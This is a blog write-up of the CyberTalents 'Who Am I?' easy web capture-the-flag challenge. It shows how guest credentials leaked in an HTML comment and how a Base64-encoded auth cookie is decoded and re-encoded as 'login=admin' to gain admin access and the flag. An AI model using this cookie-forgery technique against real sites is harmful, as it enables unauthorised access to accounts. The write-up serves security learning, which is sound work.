> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# CyberTalents "Who Am I?" Web Challenge Writeup
- URL: https://taiwanding.com/en/cybertalents-who-am-i-writeup/
- Published: 2025-09-02T06:28:57.000Z
- Updated: 2026-07-15T02:49:44.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Challenge Info

- **Platform**: CyberTalents
- **Category**: Web Security
- **Difficulty**: Easy (50 points)
- **Description**: "Do not Start a fight you can not stop it"
- Challenge link: [https://cybertalents.com/challenges/web/who-am-i](https://cybertalents.com/challenges/web/who-am-i?ref=taiwanding.com)

## Walkthrough

### Step 1: Initial Recon

Visiting the site, I found a login page. Checking the page source revealed:

```html
<!--
    Guest Account:
    -=-=-=-=-=-=-=-
    Username:Guest
    Password:Guest
-->

```

### Step 2: Log In as Guest

Logging in with `Guest/Guest` shows:

```
Welcome Guest!
```

### Step 3: Inspect the Cookie

Open F12 → Application → Cookies, and you'll find:

```
Name: auth
Value: bG9naW49R3Vlc3Q%3D

```

### Step 4: Decode and Analyze

**URL decode**:

```javascript
decodeURIComponent('bG9naW49R3Vlc3Q%3D')
// Result: 'bG9naW49R3Vlc3Q='

```

**Base64 decode**:

```javascript
atob('bG9naW49R3Vlc3Q=')
// Result: 'login=Guest'

```

### Step 5: Forge an Admin Cookie

```javascript
// Encode the admin identity
btoa('login=admin')
// Result: 'bG9naW49YWRtaW4='

```

### Step 6: Swap the Cookie

In the developer tools:

1. Double-click the cookie value
2. Paste: `bG9naW49YWRtaW4=`
3. Refresh the page

![](https://taiwanding.com/content/images/2025/09/Screenshot-2025-09-02-142436.png)

### Step 7: Grab the Flag

```
Welcome admin!
Flag: [FLAG_HERE]

```

## Key Takeaways

- **HTML comment leaks**: always check the source comments
- **Cookie forgery**: any client-side data can be tampered with
- **Encoding ≠ encryption**: Base64 is just encoding and provides no security
- **Authentication flaw**: privileges should never live in a client-side cookie